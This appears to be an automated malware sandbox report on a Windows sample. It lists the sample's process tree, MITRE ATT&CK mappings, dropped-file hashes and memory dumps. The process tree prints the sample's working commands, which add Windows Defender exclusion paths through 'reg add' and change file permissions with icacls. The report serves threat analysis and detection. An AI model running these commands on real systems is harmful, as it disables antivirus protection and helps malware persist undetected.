- Suspicious use of WriteProcessMemory
PID:1100
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2268

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3660
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3156

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4288
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1072

C:\Program Files (x86)\jRcNw1\jRcNw1.exe
"C:\Program Files (x86)\jRcNw1\jRcNw1.exe"
1⤵
PID:1568

C:\Program Files (x86)\jRcNw1\jRcNw1.exe
"C:\Program Files (x86)\jRcNw1\jRcNw1.exe"
1⤵
PID:4868

C:\Program Files (x86)\DI6am\2036icfnV.exe
"C:\Program Files (x86)\DI6am\2036icfnV.exe"
1⤵
PID:4316

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\jRcNw1" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4228

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3764

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\jRcNw1\jRcNw1.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
1⤵
- Modifies file permissions
PID:4836

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\jRcNw1\jRcNw1.exe" /grant:r Users:(RX) /deny Users:(DE)
1⤵
- Modifies file permissions
PID:2456

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\DI6am\XPSPLOG.dll
Size 4.6MB
SHA256 938938b68295da36aad4d4441db96ea7b04eadef5c6ab08364743793108c9a7c
MD5 abc71bc02201e7410a2dc2afe9822f87
SHA1 60e869338c4d25fc48314094c25c603e91a177ff
SHA512 aa385874996a4b822ddb69be114d05836745792e418ba071451dbada60e8fb17f3246caed750a1e9c3347ea17ddf47c62dcefac94291141e59b9ff803686f8eb
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyo:BMWKfU+BcUTHCCCfqCiUffno
TLSH
T182263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\DI6am\image.png
Size 4.8MB
SHA256 67ea3befe7ded5a0f8a18ed465b3caa452d9be4c0d9c5c2a141c102feadec287
MD5 747eafad444a2b643b98e1131eb6705a
SHA1 9fb339e61fbdf459212fd16913930e9c54c687f2
SHA512 650b8585de5b5babe08d50126bb6887e978b6df6cb811e73072d063aedc9229c1530cd0740a362ec351617dc2b39b5ba4cb045d5ebc75d5c6395c5927e404e08
SSDEEP 98304:K/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:KMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T11136334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\jRcNw1\XPSPLOG.dll
Size 4.6MB
SHA256 8d7d111028142ca3a55fa3d7b0e6b26bbd4c4d57224a5dbc0cacc284553026b2
MD5 067a88b0eeead4a01b52b263045ba260
SHA1 ac500a703702a3b39beb87cd7b8122dffce41c94
SHA512 7e4ca97a35d709667f89e50eaea912067ab876c28d4cef7affc35d279b7152718c30d0e21eac41518d164522a7a8b5aaf53f46dcfe46dd1fa524fcf6320f352e
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyh:BMWKfU+BcUTHCCCfqCiUffnh
TLSH
T174263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\jRcNw1\image.png
Size 4.8MB
SHA256 ddb6ad8601faec4e3a084535c557c3a005432a7498e39dbc47a655c076b35753
MD5 d42427af37242e73f8c995fe62990ce4
SHA1 6db75cf72c40f5e5e88d4b7f6d686edc2a8b9339
SHA512 46ac2e918c71e34a6e11661666930b02fa47d185b8f53e9628da396073c3c5ffe96cee15d1a2c6622050b06d689e0ec77672d6f21c60b6d332e0afdbcf96d149
SSDEEP 98304:Q/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:QMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T1D436334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jRcNw1.exe

Path C:\Program Files (x86)\jRcNw1\jRcNw1.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\jRcNw1\thumbs.db
Size 358KB
SHA256 410c3345545bb793dca1cbef6760468cae7d6346abbb5fb92405ac1e3fe5101e
MD5 f7af0838620830692ee3d702edfa249e
SHA1 af934d5ea210922c7c45237a05d9c5f2ca49a6f9
SHA512 1f0be22cd067a0adf89ce687ae0e07c7fb8b4a820ee7b26670aaa93d2dd4901c278b6704f115d07a4f138b28999eb2f2bd9150afd2a09e4b2718765cf83efb83
SSDEEP 6144:iiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:98u69CghoQxoMTFQqtKFCz7mb/
TLSH
T1BF74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 ed5d3bdfeecc253a57a2d033167d8ae69583f27884b1599dd3d7f6ed9afc4fc9
MD5 ca467e3a36b6168e7371ae7c1b82643f
SHA1 2500a64e09d2aed714acfebfd224f9cc8789d1da
SHA512 9a2282889d9a4e2535876131bacfd55b00f2ca30e008ae51840fb75129ded24596ee884bcea0a40fba9ce0a778474faba9224bb55437842421ed97a035f3ef4b
TLSH
T1613174BB7BAD69818F764E6124CAF5226CF5B1D06CC6045A6154C4995F083A23F4D609
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 c71f96581f2c4acc9d067c4961c5459561f20e0816dc5bc5ad96309e16538e91
MD5 20d56aaaaf5ff187e8b5986bfa4bb9fb
SHA1 35f53fab55af9a882ad23973e3b5541231f99b65
SHA512 19c8f2e68e094a67221cc9b4425c13c3df2c9eec5442593d0969a3d8905a6e9cef102d64842ef4ca601676d962ede8683e19332175b087b216601de6978f38ac
TLSH
T1EE31D69A8A390006AF0C8F3492D5D63FACF092A04CF9084A563FD1AFE556B779F82410
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 33400fa9980d9d51dfec2c85dfe9905b8f652122aac267bc87dfd93fec09ff17
MD5 19eb31f7a98f3f40b21868b84a235b2c
SHA1 99fae6015b0f2a04d271a564501ed0063f0933da
SHA512 f3ec6a1bbfa05dc9b1f8cfd238e91ff67829b271080530edc325fd673786a37afc8fccbf3e7f6a960db1806ed41131a09a65838a9ef3bf82aa46a7093ee48236
TLSH
T13BF05C2C49BC812EF033D97C8AC979AB0A7BFE15240A81B406F99B096986A057D51675
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 5abce2d75a9ec4ec876887dd4f076ac5a22b4010a1478af1855d2c03ec4c064f
MD5 f093d220e492c3b3bdbda3caadab0f05
SHA1 c821d9c5d304191a4e8a68a9fabde9f0ced122c0
SHA512 fd9c4b7ef0c2dbe55da7ed21641523fea3650fd11d1e5b61a82a568db0edbd687d7f5c2f332af8ff6c9b4459722b07a8fc878d8d4a9bcf3169c453566fed7461
TLSH
T143F05C3D45DD403AF17BD7B88B867EB0C526F623000A7ABE1AF652482B658422C4262E
MD5 SHA1 SHA512 TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\2zBEQM\UxEnhance64.dll
Size 3.1MB
SHA256 916136109b261e60be5526934e61210f547568d4700a526d9aecb66dec51fce5
MD5 106471335df8fb4e183429daac6022be
SHA1 ce02e56d4079961e98c91ea0c6bd9d11d2184154
SHA512 9d2759e8c38b16d62fedcf658c7f0909a4d5711757ff1e4d13854930290b495ce0e9c622db50fc0819054bfbd2d9891981a8c2e94662b800bbf96b33a44eb5d8
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+1:P9m29xx3Tiqt06ox6+z2rNNrKo1
TLSH
T1BBE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

YqkCa9.exe

Path C:\Users\Public\2zBEQM\YqkCa9.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\2zBEQM\adoresd.dat
Size 4.8MB
SHA256 638449722edc270c5f90c7f5af5df34fb66413fc2c91dddf42b5f530fcb456d5
MD5 3106c9e974de14fd8e783114a4d4efab
SHA1 8f69acf866893a631cb50102d5e0404dbe397362
SHA512 c298cc0e85358c825ada83aa9192b97437e0e3875559732e9fc1c2dffc10eaf2d419ed2571c8589fbb27eab510ddc98546987d4fb6f0320b5b8981679342590e
SSDEEP 98304:7Wjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:7Wj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1213633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\2zBEQM\msadox.tb
Size 8KB
SHA256 5fb1c3b9b59eb8a7d999fba80c32fac535c1a60b239a70ed20dfe7a7936a7406
MD5 1f033808b43914c3b5e5a8787a2bfab9
SHA1 9ac092f897338b9ff18458d87d6126c2c9543730
SHA512 427108d7ed98631710eb8d6229eec8d9e09ff586b2bd51ea8231c52b09f25c2a64b5d2121fed0ac951a32101d31a674a9de359b4dba0019cf6ca316511a08d3b
SSDEEP 192:6qbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:6sZqZOXQ3uqvR2Kfzp
TLSH
T19B029E05D7A20CC3E2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

memory/448-544-0x000002A9E31E0000-0x000002A9E3AB7000-memory.dmp

Download

memory/448-563-0x000002A9E3FE0000-0x000002A9E406A000-memory.dmp

Download

memory/448-538-0x00007FFB841A0000-0x00007FFB841A2000-memory.dmp

Download

memory/448-539-0x000002A9E31E0000-0x000002A9E3AB7000-memory.dmp

Download

memory/448-550-0x000002A9E31E0000-0x000002A9E3AB7000-memory.dmp

Download

memory/448-555-0x000002A9E31E0000-0x000002A9E3AB7000-memory.dmp

Download

memory/448-556-0x000002A9E31E0000-0x000002A9E3AB7000-memory.dmp

Download

memory/448-562-0x000002A9E3FE0000-0x000002A9E406A000-memory.dmp

Download

memory/448-564-0x000002A9E3FE0000-0x000002A9E406A000-memory.dmp

Download

memory/448-546-0x000002A9E31E0000-0x000002A9E3AB7000-memory.dmp

Download

memory/448-561-0x000002A9E3FE0000-0x000002A9E406A000-memory.dmp

Download

memory/448-560-0x000002A9E3F00000-0x000002A9E3F4E000-memory.dmp

Download

memory/448-545-0x000002A9E31E0000-0x000002A9E3AB7000-memory.dmp

Download

memory/448-543-0x000002A9E31E0000-0x000002A9E3AB7000-memory.dmp

Download

memory/448-536-0x000002A9E31E0000-0x000002A9E3AB7000-memory.dmp

Download

memory/448-531-0x00007FFB660C0000-0x00007FFB665DE000-memory.dmp

Download

memory/448-530-0x00007FFB84190000-0x00007FFB84192000-memory.dmp

Download

memory/1568-739-0x0000000075340000-0x0000000075A8A000-memory.dmp

Download

memory/1568-737-0x00000000008D0000-0x00000000008D1000-memory.dmp

Download

memory/2100-684-0x0000000000D50000-0x0000000000D64000-memory.dmp

Download

memory/2100-674-0x00000000033C0000-0x0000000003B9D000-memory.dmp

Download

memory/2100-693-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/2100-689-0x00000000033C0000-0x0000000003B9D000-memory.dmp

Download

memory/2100-718-0x00000000033C0000-0x0000000003B9D000-memory.dmp

Download

memory/2100-677-0x00000000033C0000-0x0000000003B9D000-memory.dmp

Download

memory/2100-712-0x00000000033C0000-0x0000000003B9D000-memory.dmp

Download

memory/2100-672-0x0000000000BD0000-0x0000000000BD1000-memory.dmp

Download

memory/2100-665-0x0000000000B40000-0x0000000000B41000-memory.dmp

Download

memory/2100-666-0x0000000075340000-0x0000000075A8A000-memory.dmp

Download

memory/2100-670-0x00000000033C0000-0x0000000003B9D000-memory.dmp

Download

memory/3988-582-0x000001F9718F0000-0x000001F9721C7000-memory.dmp

Download

memory/3988-585-0x000001F9718F0000-0x000001F9721C7000-memory.dmp

Download

memory/3988-584-0x00007FFB841A0000-0x00007FFB841A2000-memory.dmp

Download

memory/3988-589-0x000001F9718F0000-0x000001F9721C7000-memory.dmp

Download

memory/3988-577-0x00007FFB660C0000-0x00007FFB665DE000-memory.dmp

Download

memory/3988-590-0x000001F9718F0000-0x000001F9721C7000-memory.dmp

Download

memory/3988-591-0x000001F9718F0000-0x000001F9721C7000-memory.dmp

Download

memory/3988-592-0x000001F9718F0000-0x000001F9721C7000-memory.dmp

Download

memory/3988-593-0x00007FFB84190000-0x00007FFB84192000-memory.dmp

Download

memory/4316-741-0x0000000002D20000-0x00000000034FD000-memory.dmp

Download

memory/4316-733-0x0000000072FC0000-0x000000007370A000-memory.dmp

Download

memory/4316-744-0x0000000002D20000-0x00000000034FD000-memory.dmp

Download

memory/4316-747-0x0000000000330000-0x0000000000331000-memory.dmp

Download

memory/4316-743-0x0000000000380000-0x0000000000381000-memory.dmp

Download

memory/4316-732-0x0000000000330000-0x0000000000331000-memory.dmp

Download

memory/4724-2-0x00000000001E0000-0x00000000001EC000-memory.dmp

Download

memory/4724-1-0x00000000001D0000-0x00000000001DE000-memory.dmp

Download

memory/4724-0-0x00000000001D0000-0x00000000001DE000-memory.dmp

Download

memory/4724-524-0x00000000001D0000-0x00000000001DE000-memory.dmp

Download

memory/4724-504-0x00007FFB75470000-0x00007FFB75480000-memory.dmp

Download

memory/4724-525-0x00007FFB75470000-0x00007FFB75480000-memory.dmp

Download

memory/4868-730-0x0000000075340000-0x0000000075A8A000-memory.dmp

Download

memory/4868-728-0x0000000002B90000-0x0000000002B91000-memory.dmp

Download